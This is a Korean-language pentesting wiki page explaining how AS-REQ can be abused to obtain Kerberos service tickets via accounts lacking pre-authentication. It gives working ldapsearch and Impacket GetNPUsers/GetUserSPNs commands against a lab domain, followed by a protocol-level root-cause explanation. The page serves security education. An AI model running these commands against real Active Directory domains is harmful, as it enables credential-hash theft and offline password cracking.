AS Requested Service Tickets

AS Requested Service Tickets는 AS-REP Roasting에 취약한 사용자 계정을 이용하여 도메인 서비스 티켓을 발급받는 커버로스팅 공격입니다.

Abuse

# ldapsearch로 AS-REP Roasting 취약한 객체 열거 (도메인 계정 필요)
ldapsearch -x -H ldap://192.168.1.11 -D '[email protected]' -w 'Password123!' -b "dc=contoso,dc=com" "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" cn distinguishedName sAMAccountName

# GetNPUsers로 AS-REP Roasting 공격 (익명)
impacket-GetNPUsers contoso.com/'' -usersfile users.txt -dc-ip 192.168.1.11

# AS-REP Roasting에 취약한 객체를 이용하여 사용자 SPN 요청
impacket-GetUserSPNs -no-preauth user-A -usersfile users.txt -dc-host 192.168.1.11 contoso.com/

Root Cause

일반적으로 도메인 서비스 티켓을 요청하기 위해서는 TGS-REQ 패킷의 sname-string 필드에 SPN을 삽입하여 응답으로부터 서비스 티켓을 받는다고 알려져 있지만, 이는 사실이 아닙니다.

AS-REQ
TGS-REQ

위 사진을 보면 AS-REQ와 TGS-REQ의 패킷 구조는 거의 동일하다는 것이 확인됩니다. 사진에서는 cname 필드의 유무가 유일한 차이점이지만, RFC 공식 문서에 따르면 이는 선택적 항목이라 구조에 영향을 미치지 않습니다.

커버로스 필드 속성

뿐만 아니라 SPN이 기입되는 sname 필드와 클라이언트의 계정 이름이 기입되는 cname 필드는 구조적으로 동일할 수가 없지만, 실제 구조체는 같은 PrincipalName을 공유합니다.

PrincipalName 구조체
KDC-REQ-BODY    ::= SEQUENCE {
 kdc-options  [0] KDCOptions,
 cname        [1] PrincipalName OPTIONAL
 realm        [2] Realm
 sname        [3] PrincipalName OPTIONAL,
 ...
}

PrincipalName   ::= SEQUENCE {
 name-type    [0] Int32,
 name-string  [1] SEQUENCE OF KerberosString
}

cname에는 도메인 계정 이름(예:user-A)이 기입되기 때문에 sname 필드 역시 도메인 계정 이름을 넣을 수 있습니다. 이를 통해 얻는 효과는 실제로 도메인에 등록된 SPN을 모르더라도, 사용자 계정 목록을 덤프했거나 정보 수집 단계에서 획득했다면 SPN을 가졌다는 것만으로도 서비스 티켓 발급이 가능한 것입니다.

AS-REQ를 통해 발급되는 TGT는 TGS-REQ를 통해 발급되는 서비스 티켓과 다르지 않습니다. TGT는 서비스 티켓의 일종일 뿐이며 서비스 주체는 krbtgt입니다.

sname을 변조한 AS-REQ
sname을 변조한 AS-REP

AS-REQ에서 정상적인 모든 요청은 sname 필드가 krbtgt/domain으로 고정되어 있는데, TGT 역시 서비스 티켓이기 때문에 이 필드에 다른 SPN 혹은 SPN을 가진 유저 이름을 넣으면 서비스 티켓이 발행됩니다.

References

Last updated

Was this helpful?